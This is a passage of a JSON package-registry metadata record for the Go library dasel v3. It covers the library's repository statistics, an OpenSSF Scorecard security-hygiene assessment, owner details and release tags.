{"id":12162938,"name":"github.com/tomwright/dasel/v3","ecosystem":"go","description":"Package dasel contains everything you'll need to use dasel from a go application.","homepage":"https://github.com/tomwright/dasel","licenses":"MIT","normalized_licenses":["MIT"],"repository_url":"https://github.com/tomwright/dasel","keywords_array":[],"namespace":"github.com/tomwright/dasel","versions_count":27,"first_release_published_at":"2025-12-15T12:50:23.000Z","latest_release_published_at":"2026-06-27T15:03:44.000Z","latest_release_number":"v3.11.2","last_synced_at":"2026-10-06T09:23:14.921Z","created_at":"2025-10-02T08:59:48.135Z","updated_at":"2026-10-06T09:23:14.922Z","registry_url":"https://pkg.go.dev/github.com/tomwright/dasel/v3","install_command":"go get github.com/tomwright/dasel/v3","documentation_url":"https://pkg.go.dev/github.com/tomwright/dasel/v3#section-documentation","metadata":null,"repo_metadata":{"id":37497965,"uuid":"297615696","full_name":"TomWright/dasel","owner":"TomWright","description":"Unified querying, transformation, and modification of JSON, TOML, YAML, XML, INI, HCL, KDL and CSV.","archived":false,"fork":false,"pushed_at":"2026-08-16T19:25:05.000Z","size":11911,"stargazers_count":8043,"open_issues_count":25,"forks_count":174,"subscribers_count":34,"default_branch":"master","last_synced_at":"2026-09-29T08:32:32.910Z","etag":null,"topics":["cli","config","configuration","data-processing","data-structures","data-wrangling","devops-tools","go","golang","hcl2","json","json-processing","parser","query","selector","toml","update","xml","yaml","yaml-processor"],"latest_commit_sha":null,"homepage":"https://daseldocs.tomwright.me","language":"Go","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/TomWright.png","metadata":{"files":{"readme":"README.md","changelog":"CHANGELOG.md","contributing":"CONTRIBUTING.md","funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":"CODE_OF_CONDUCT.md","threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null,"zenodo":null,"notice":null,"maintainers":null,"copyright":null,"agents":null,"claude":null,"gemini":null,"cursor":null,"copilot":null,"dco":null,"cla":null,"disclosure":null},"funding":{"github":"TomWright","patreon":null,"open_collective":null,"ko_fi":null,"tidelift":null,"community_bridge":null,"liberapay":null,"issuehunt":null,"otechie":null,"custom":["https://www.buymeacoffee.com/TomWright"]}},"created_at":"2020-09-22T10:33:56.000Z","updated_at":"2026-09-28T06:06:43.000Z","dependencies_parsed_at":"2026-08-28T00:25:06.474Z","dependency_job_id":null,"html_url":"https://github.com/TomWright/dasel","commit_stats":{"total_commits":595,"total_committers":28,"mean_commits":21.25,"dds":"0.16806722689075626","last_synced_commit":"e96f281f05a1c1f01ed251f7041dfd0f49325b1a"},"previous_names":[],"tags_count":110,"template":false,"template_full_name":null,"purl":"pkg:github/TomWright/dasel","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/TomWright","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/sbom","scorecard":{"id":142669,"data":{"date":"2025-08-11","repo":{"name":"github.com/TomWright/dasel","commit":"9e862d1faba5bcab3a810df6783358fc75030794"},"scorecard":{"version":"v5.2.1-40-gf6ed084d","commit":"f6ed084d17c9236477efd66e5b258b9d4cc7b389"},"score":4.4,"checks":[{"name":"Code-Review","score":4,"reason":"Found 6/14 approved changesets -- score normalized to 4","details":null,"documentation":{"short":"Determines if the project requires human code review before pull requests (aka merge requests) are merged.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#code-review"}},{"name":"Maintained","score":5,"reason":"1 commit(s) and 5 issue activity found in the last 90 days -- score normalized to 5","details":null,"documentation":{"short":"Determines if the project is \"actively maintained\".","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#maintained"}},{"name":"Dangerous-Workflow","score":10,"reason":"no dangerous workflow patterns detected","details":null,"documentation":{"short":"Determines if the project's GitHub Action workflows avoid dangerous patterns.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#dangerous-workflow"}},{"name":"Binary-Artifacts","score":10,"reason":"no binaries found in the repo","details":null,"documentation":{"short":"Determines if the project has generated executable (binary) artifacts in the source repository.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#binary-artifacts"}},{"name":"CII-Best-Practices","score":0,"reason":"no effort to earn an OpenSSF best practices badge detected","details":null,"documentation":{"short":"Determines if the project has an OpenSSF (formerly CII) Best Practices Badge.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#cii-best-practices"}},{"name":"Token-Permissions","score":0,"reason":"detected GitHub workflow tokens with excessive permissions","details":["Warn: no topLevel permission defined: .github/workflows/build-dev.yaml:1","Warn: no topLevel permission defined: .github/workflows/build-test.yaml:1","Warn: no topLevel permission defined: .github/workflows/build.yaml:1","Warn: no topLevel permission defined: .github/workflows/bump-homebrew.yaml:1","Warn: no topLevel permission defined: .github/workflows/codeql-analysis.yml:1","Warn: no topLevel permission defined: .github/workflows/container.yaml:1","Warn: no topLevel permission defined: .github/workflows/test.yaml:1","Info: no jobLevel write permissions found"],"documentation":{"short":"Determines if the project's workflows follow the principle of least privilege.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#token-permissions"}},{"name":"Pinned-Dependencies","score":0,"reason":"dependency not pinned by hash detected -- score normalized to 0","details":["Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build-dev.yaml:65: update your workflow using https://app.stepsecurity.io/secureworkflow/TomWright/dasel/build-dev.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build-dev.yaml:66: update your workflow using https://app.stepsecurity.io/secureworkflow/TomWright/dasel/build-dev.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build-test.yaml:77: update your workflow using https://app.stepsecurity.io/secureworkflow/TomWright/dasel/build-test.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build-test.yaml:78: update your workflow using https://app.stepsecurity.io/secureworkflow/TomWright/dasel/build-test.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yaml:73: update your workflow using https://app.stepsecurity.io/secureworkflow/TomWright/dasel/build.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/build.yaml:74: update your workflow using https://app.stepsecurity.io/secureworkflow/TomWright/dasel/build.yaml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/build.yaml:87: update your workflow using https://app.stepsecurity.io/secureworkflow/TomWright/dasel/build.yaml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/build.yaml:94: update your workflow using https://app.stepsecurity.io/secureworkflow/TomWright/dasel/build.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/bump-homebrew.yaml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/TomWright/dasel/bump-homebrew.yaml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/bump-homebrew.yaml:18: update your workflow using https://app.stepsecurity.io/secureworkflow/TomWright/dasel/bump-homebrew.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:39: update your workflow using https://app.stepsecurity.io/secureworkflow/TomWright/dasel/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:43: update your workflow using https://app.stepsecurity.io/secureworkflow/TomWright/dasel/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:54: update your workflow using https://app.stepsecurity.io/secureworkflow/TomWright/dasel/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/codeql-analysis.yml:68: update your workflow using https://app.stepsecurity.io/secureworkflow/TomWright/dasel/codeql-analysis.yml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/container.yaml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/TomWright/dasel/container.yaml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/container.yaml:23: update your workflow using https://app.stepsecurity.io/secureworkflow/TomWright/dasel/container.yaml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/container.yaml:25: update your workflow using https://app.stepsecurity.io/secureworkflow/TomWright/dasel/container.yaml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/container.yaml:28: update your workflow using https://app.stepsecurity.io/secureworkflow/TomWright/dasel/container.yaml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/container.yaml:33: update your workflow using https://app.stepsecurity.io/secureworkflow/TomWright/dasel/container.yaml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/container.yaml:77: update your workflow using https://app.stepsecurity.io/secureworkflow/TomWright/dasel/container.yaml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/container.yaml:84: update your workflow using https://app.stepsecurity.io/secureworkflow/TomWright/dasel/container.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yaml:8: update your workflow using https://app.stepsecurity.io/secureworkflow/TomWright/dasel/test.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yaml:12: update your workflow using https://app.stepsecurity.io/secureworkflow/TomWright/dasel/test.yaml/master?enable=pin","Warn: GitHub-owned GitHubAction not pinned by hash: .github/workflows/test.yaml:13: update your workflow using https://app.stepsecurity.io/secureworkflow/TomWright/dasel/test.yaml/master?enable=pin","Warn: third-party GitHubAction not pinned by hash: .github/workflows/test.yaml:21: update your workflow using https://app.stepsecurity.io/secureworkflow/TomWright/dasel/test.yaml/master?enable=pin","Warn: containerImage not pinned by hash: Dockerfile:3","Warn: containerImage not pinned by hash: Dockerfile:13","Info:   0 out of  15 GitHub-owned GitHubAction dependencies pinned","Info:   0 out of  10 third-party GitHubAction dependencies pinned","Info:   0 out of   2 containerImage dependencies pinned"],"documentation":{"short":"Determines if the project has declared and pinned the dependencies of its build process.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#pinned-dependencies"}},{"name":"Fuzzing","score":0,"reason":"project is not fuzzed","details":["Warn: no fuzzer integrations found"],"documentation":{"short":"Determines if the project uses fuzzing.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#fuzzing"}},{"name":"License","score":10,"reason":"license file detected","details":["Info: project has a license file: LICENSE:0","Info: FSF or OSI recognized license: MIT License: LICENSE:0"],"documentation":{"short":"Determines if the project has defined a license.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#license"}},{"name":"Branch-Protection","score":-1,"reason":"internal error: error during branchesHandler.setup: internal error: githubv4.Query: Resource not accessible by integration","details":null,"documentation":{"short":"Determines if the default and release branches are protected with GitHub's branch protection settings.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#branch-protection"}},{"name":"Security-Policy","score":0,"reason":"security policy file not detected","details":["Warn: no security policy file detected","Warn: no security file to analyze","Warn: no security file to analyze","Warn: no security file to analyze"],"documentation":{"short":"Determines if the project has published a security policy.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#security-policy"}},{"name":"Packaging","score":-1,"reason":"packaging workflow not detected","details":["Warn: no GitHub/GitLab publishing workflow detected."],"documentation":{"short":"Determines if the project is published as a package that others can easily download, install, easily update, and uninstall.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#packaging"}},{"name":"Signed-Releases","score":0,"reason":"Project has not signed or included provenance with any releases.","details":["Warn: release artifact v2.8.1 not signed: https://api.github.com/repos/TomWright/dasel/releases/163225306","Warn: release artifact v2.8.0 not signed: https://api.github.com/repos/TomWright/dasel/releases/163012371","Warn: release artifact v2.7.0 not signed: https://api.github.com/repos/TomWright/dasel/releases/146610640","Warn: release artifact v2.6.0 not signed: https://api.github.com/repos/TomWright/dasel/releases/142212023","Warn: release artifact v2.5.0 not signed: https://api.github.com/repos/TomWright/dasel/releases/131715345","Warn: release artifact v2.8.1 does not have provenance: https://api.github.com/repos/TomWright/dasel/releases/163225306","Warn: release artifact v2.8.0 does not have provenance: https://api.github.com/repos/TomWright/dasel/releases/163012371","Warn: release artifact v2.7.0 does not have provenance: https://api.github.com/repos/TomWright/dasel/releases/146610640","Warn: release artifact v2.6.0 does not have provenance: https://api.github.com/repos/TomWright/dasel/releases/142212023","Warn: release artifact v2.5.0 does not have provenance: https://api.github.com/repos/TomWright/dasel/releases/131715345"],"documentation":{"short":"Determines if the project cryptographically signs release artifacts.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#signed-releases"}},{"name":"Vulnerabilities","score":7,"reason":"3 existing vulnerabilities detected","details":["Warn: Project is vulnerable to: GO-2024-3333","Warn: Project is vulnerable to: GO-2025-3503 / GHSA-qxp5-gwg8-xv66","Warn: Project is vulnerable to: GO-2025-3595 / GHSA-vvgc-356p-c3xw"],"documentation":{"short":"Determines if the project has open, known unfixed vulnerabilities.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#vulnerabilities"}},{"name":"SAST","score":7,"reason":"SAST tool detected but not run on all commits","details":["Info: SAST configuration detected: CodeQL","Warn: 9 commits out of 24 are checked with a SAST tool"],"documentation":{"short":"Determines if the project uses static code analysis.","url":"https://github.com/ossf/scorecard/blob/f6ed084d17c9236477efd66e5b258b9d4cc7b389/docs/checks.md#sast"}}]},"last_synced_at":"2025-08-16T08:32:35.052Z","repository_id":37497965,"created_at":"2025-08-16T08:32:35.053Z","updated_at":"2025-08-16T08:32:35.053Z"},"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":342085742,"owners_count":37839323,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-08-22T15:14:58.755Z","status":"online","status_checked_at":"2026-09-29T02:00:06.972Z","response_time":187,"last_error":null,"robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":true,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"},"owner_record":{"login":"TomWright","name":"Tom Wright","uuid":"935867","kind":"user","description":"","email":"","website":"https://tomwright.me","location":"London","twitter":null,"company":"Customer.io","icon_url":"https://avatars.githubusercontent.com/u/935867?u=d50e8f875470ace6df78a63b79d432c069dbcd2f\u0026v=4","repositories_count":66,"last_synced_at":"2026-09-27T13:31:23.227Z","metadata":{"has_sponsors_listing":true,"funding":{"github":"TomWright","patreon":null,"open_collective":null,"ko_fi":null,"tidelift":null,"community_bridge":null,"liberapay":null,"issuehunt":null,"otechie":null,"custom":["https://www.buymeacoffee.com/TomWright"]}},"html_url":"https://github.com/TomWright","funding_links":["https://github.com/sponsors/TomWright","https://www.buymeacoffee.com/TomWright"],"total_stars":5236,"followers":156,"following":24,"created_at":"2022-11-10T09:05:25.893Z","updated_at":"2026-09-27T13:31:23.272Z","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/TomWright","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/TomWright/repositories"},"tags":[{"name":"v3.11.2","sha":"008b0ed9cae7d5d5b0c72e23c84836c5b2f0338b","kind":"commit","published_at":"2026-06-27T15:03:44.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v3.11.2","html_url":"https://github.com/TomWright/dasel/releases/tag/v3.11.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v3.11.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.11.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.11.2/manifests"},{"name":"v3.11.1","sha":"5d609b8982d4f23a12f40e5d47009ba2a1bda218","kind":"commit","published_at":"2026-06-20T14:04:45.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v3.11.1","html_url":"https://github.com/TomWright/dasel/releases/tag/v3.11.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v3.11.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.11.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.11.1/manifests"},{"name":"v3.11.0","sha":"abc1e1d5305bca0bb709979cdf16f467a378fa21","kind":"commit","published_at":"2026-05-19T17:06:21.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v3.11.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v3.11.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v3.11.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.11.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.11.0/manifests"},{"name":"v3.10.1","sha":"e3c6663d78c62f69579d8f9afd00453dc3d01c29","kind":"commit","published_at":"2026-05-13T20:55:40.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v3.10.1","html_url":"https://github.com/TomWright/dasel/releases/tag/v3.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v3.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.10.1/manifests"},{"name":"v3.10.0","sha":"7c15ae05f8273c06d948cc05c34782a2d4a0c74a","kind":"commit","published_at":"2026-05-13T20:28:21.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v3.10.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v3.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v3.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.10.0/manifests"},{"name":"v3.9.0","sha":"919dc66a6b3047142b880f26632b1b1a3892d832","kind":"commit","published_at":"2026-05-13T17:50:11.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v3.9.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v3.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v3.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.9.0/manifests"},{"name":"v3.8.1","sha":"00c1f70ce6c71735523b94fea8f44b174c68afb6","kind":"commit","published_at":"2026-04-30T18:12:21.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v3.8.1","html_url":"https://github.com/TomWright/dasel/releases/tag/v3.8.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v3.8.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.8.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.8.1/manifests"},{"name":"v3.8.0","sha":"759bbe4f87d045fa7e333f714e507014372c2309","kind":"commit","published_at":"2026-04-25T23:27:26.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v3.8.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v3.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v3.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.8.0/manifests"},{"name":"v3.7.0","sha":"61491c56b43c3c413fb926c5e723ac9ff1e60ac1","kind":"commit","published_at":"2026-04-25T22:02:49.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v3.7.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v3.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v3.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.7.0/manifests"},{"name":"v3.6.0","sha":"1004c1d9952fbe4e3cc1c91ac1c1260cb8a7a78d","kind":"commit","published_at":"2026-04-25T21:00:16.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v3.6.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v3.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v3.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.6.0/manifests"},{"name":"v3.5.0","sha":"1004c1d9952fbe4e3cc1c91ac1c1260cb8a7a78d","kind":"commit","published_at":"2026-04-25T21:00:16.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v3.5.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v3.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v3.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.5.0/manifests"},{"name":"v3.4.1","sha":"7d0f1124367f0de6bf72440226d8e0ab36321e47","kind":"commit","published_at":"2026-03-30T18:17:39.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v3.4.1","html_url":"https://github.com/TomWright/dasel/releases/tag/v3.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v3.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.4.1/manifests"},{"name":"v3.4.0","sha":"3a48935d184bc6680523ddaca70dbc9b58453932","kind":"commit","published_at":"2026-03-19T18:33:06.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v3.4.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v3.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v3.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.4.0/manifests"},{"name":"v3.3.2","sha":"282943b3720684ae0ea89432f51755325a841c75","kind":"commit","published_at":"2026-03-18T19:09:55.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v3.3.2","html_url":"https://github.com/TomWright/dasel/releases/tag/v3.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v3.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.3.2/manifests"},{"name":"v3.3.1","sha":"fba653c7f248aff10f2b89fca93929b64707dfc8","kind":"commit","published_at":"2026-02-26T16:51:28.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v3.3.1","html_url":"https://github.com/TomWright/dasel/releases/tag/v3.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v3.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.3.1/manifests"},{"name":"v3.3.0","sha":"9cd3c9e79b798d857f607b6fce7de7d36c4b850b","kind":"commit","published_at":"2026-02-25T14:39:31.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v3.3.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v3.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v3.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.3.0/manifests"},{"name":"v3.2.3","sha":"cfd408e0921371f84e3fde51a092c82fc525f1e7","kind":"commit","published_at":"2026-02-23T19:09:14.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v3.2.3","html_url":"https://github.com/TomWright/dasel/releases/tag/v3.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v3.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.2.3/manifests"},{"name":"v3.2.2","sha":"be0a357265971246d4c2ca47bda43733d41c711e","kind":"commit","published_at":"2026-02-13T17:14:54.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v3.2.2","html_url":"https://github.com/TomWright/dasel/releases/tag/v3.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v3.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.2.2/manifests"},{"name":"v3.2.1","sha":"c3f66cd4cb01f418d3690ae8c338746be5078f77","kind":"commit","published_at":"2026-01-05T13:16:09.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v3.2.1","html_url":"https://github.com/TomWright/dasel/releases/tag/v3.2.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v3.2.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.2.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.2.1/manifests"},{"name":"v3.2.0","sha":"5a43eeb165ec6875bdc8e3aecb8e1ee5bd2d65e4","kind":"commit","published_at":"2025-12-26T12:21:43.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v3.2.0","html_url":"https://github.com/TomWright/dasel/releases/tag/v3.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/TomWright/dasel@v3.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/TomWright%2Fdasel/tags/v3.2.0/manifests"},{"name":"v3.1.4","sha":"64ba3027d0d4ef61f5daf94a62a900f0fdd5f96e","kind":"commit","published_at":"2025-12-18T15:56:05.000Z","download_url":"https://codeload.github.com/TomWright/dasel/tar.gz/v3.1.4","html_url":"https://github.com/TomWright/dasel/releases/tag/v3.1.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:g